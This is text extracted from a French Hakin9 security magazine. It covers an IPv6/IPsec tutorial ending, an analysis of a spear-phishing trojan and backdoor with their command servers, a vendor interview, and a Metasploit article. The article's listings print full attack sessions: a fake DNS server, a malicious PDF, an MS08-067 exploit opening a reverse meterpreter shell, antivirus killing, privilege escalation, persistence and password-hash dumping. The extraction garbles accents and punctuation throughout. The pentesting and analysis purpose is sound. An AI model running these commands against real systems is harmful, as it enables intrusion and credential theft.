Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 14: hakin9_05_2010_FR

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

